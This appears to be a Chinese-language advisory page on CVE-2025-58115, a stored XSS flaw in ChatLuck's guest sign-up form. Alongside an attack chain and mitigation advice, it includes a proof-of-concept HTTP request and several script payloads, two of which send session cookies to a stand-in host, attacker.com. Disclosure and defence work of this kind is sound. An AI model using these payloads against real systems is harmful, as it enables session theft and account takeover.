IPBUF安全漏洞报告
English
CVE-2025-58115 CVSS 6.1 中危

CVE-2025-58115:ChatLuck访客注册功能存在跨站脚本漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-58115
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
ChatLuck

相关标签

XSS跨站脚本ChatLuck存储型XSS即时通讯访客注册CVE-2025-58115JPCERT中危漏洞Web安全

漏洞概述

CVE-2025-58115是日本ChatLuck即时通讯软件中发现的一个跨站脚本(XSS)安全漏洞。该漏洞存在于ChatLuck产品的访客用户注册(Guest User Sign-up)功能中,由JPCERT/CC的vultures团队发现并报告。ChatLuck是一款面向企业的内部即时通讯工具,支持访客用户注册功能,允许外部访客以临时身份加入聊天会话。

该漏洞的CVSS 3.0评分为6.1分,属于中危级别。攻击者可以通过构造恶意的注册请求,在访客注册表单的输入字段中注入恶意JavaScript代码或HTML标签。由于应用未对用户输入进行充分的过滤和转义处理,恶意脚本会被存储在服务器端,当其他用户(包括管理员和合法用户)访问包含恶意内容的页面时,嵌入的脚本将在其浏览器中执行。

该漏洞的影响范围包括机密性和完整性的低程度损害。虽然不需要认证即可利用,但需要用户交互(如点击链接或访问恶意页面)才能触发攻击。由于漏洞影响范围发生了变化(Scope Changed),表明该漏洞可能影响到应用安全边界之外的组件,增加了实际危害性。

该漏洞由JPCERT/CC于2025年10月16日公开披露,ChatLuck供应商已发布安全补丁修复此问题。建议所有使用ChatLuck的企业用户尽快更新到最新版本以消除安全风险。

技术细节

ChatLuck访客注册功能中的XSS漏洞源于服务端对用户提交数据的不安全处理。在访客注册流程中,用户需要填写包括用户名、显示名称、邮箱等在内的多个表单字段。应用将这些字段直接存储到数据库中,并在后续页面渲染时未经过充分的HTML实体编码或输出转义就直接输出到HTML响应中。

攻击原理:攻击者首先构造一个包含恶意JavaScript代码的注册请求,例如在显示名称字段中注入`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`。当受害者(如管理员)查看包含该访客信息的页面时,浏览器会解析并执行嵌入的恶意脚本。

利用方式:
1. 攻击者访问ChatLuck的访客注册页面,填写注册表单;
2. 在可注入的字段(如显示名称、备注等)中插入恶意脚本代码;
3. 提交注册请求,恶意脚本被持久化存储到服务端;
4. 当管理员或其他用户查看访客列表、聊天记录等包含该恶意数据的页面时,脚本自动执行;
5. 攻击者可窃取用户会话Cookie、进行钓鱼攻击、篡改页面内容或执行其他恶意操作。

由于CVSS向量中包含S:C(Scope Changed),表明该存储型XSS可能突破ChatLuck应用的安全边界,影响到同源的其他应用或浏览器上下文。由于需要用户交互(UI:R)才能触发,实际利用需要诱导受害者访问受影响的页面。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标组织使用的ChatLuck服务器,定位访客注册功能的入口URL
STEP 2
步骤2:构造恶意请求
攻击者访问访客注册页面,在显示名称或其他可输入字段中注入恶意JavaScript代码或HTML标签
STEP 3
步骤3:提交注册
攻击者提交包含恶意载荷的注册表单,由于服务端未对输入进行过滤,恶意脚本被持久化存储
STEP 4
步骤4:等待受害者访问
攻击者等待管理员或其他合法用户查看访客列表、聊天页面等包含恶意数据的页面
STEP 5
步骤5:脚本执行
受害者的浏览器解析并执行恶意脚本,攻击者可窃取会话Cookie、进行钓鱼或执行其他恶意操作
STEP 6
步骤6:权限提升或横向移动
利用窃取的会话信息,攻击者可能冒充管理员身份,执行进一步的攻击活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-58115 PoC: Stored XSS via Guest User Sign-up in ChatLuck --> <!-- This PoC demonstrates how to inject malicious script through the guest registration form --> <!-- Step 1: Craft a malicious registration request --> <!-- The attacker submits the guest sign-up form with a malicious payload in the display name field --> POST /chatluck/guest_signup HTTP/1.1 Host: target-chatluck-server.com Content-Type: application/x-www-form-urlencoded display_name=<script>alert('XSS-CVE-2025-58115')</script>&[email protected]&message=<img src=x onerror=alert(document.cookie)> <!-- Step 2: Alternative payload using event handlers to bypass basic filters --> display_name=<svg/onload=alert('CVE-2025-58115')>&[email protected] <!-- Step 3: Cookie stealing payload (for demonstration) --> display_name=<script>var i=new Image();i.src="https://attacker.com/steal?c="+document.cookie;</script> <!-- After submission, when an admin or user views the guest list page containing this entry, the malicious script will execute in their browser context, potentially leading to session hijacking, credential theft, or further exploitation. -->

影响范围

ChatLuck 所有受影响的版本(具体版本范围请参考厂商安全公告)

防御指南

临时缓解措施
在无法立即升级补丁的情况下,建议采取以下临时缓解措施:1)限制访客注册功能的访问,仅允许可信用户使用;2)在Web应用防火墙中部署XSS检测规则,拦截常见的恶意脚本载荷;3)为ChatLuck应用配置严格的Content Security Policy头,限制内联脚本执行;4)监控异常的用户注册行为和可疑的访客账户;5)提醒管理员不要随意点击未知来源的链接或访问可疑的访客注册页面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表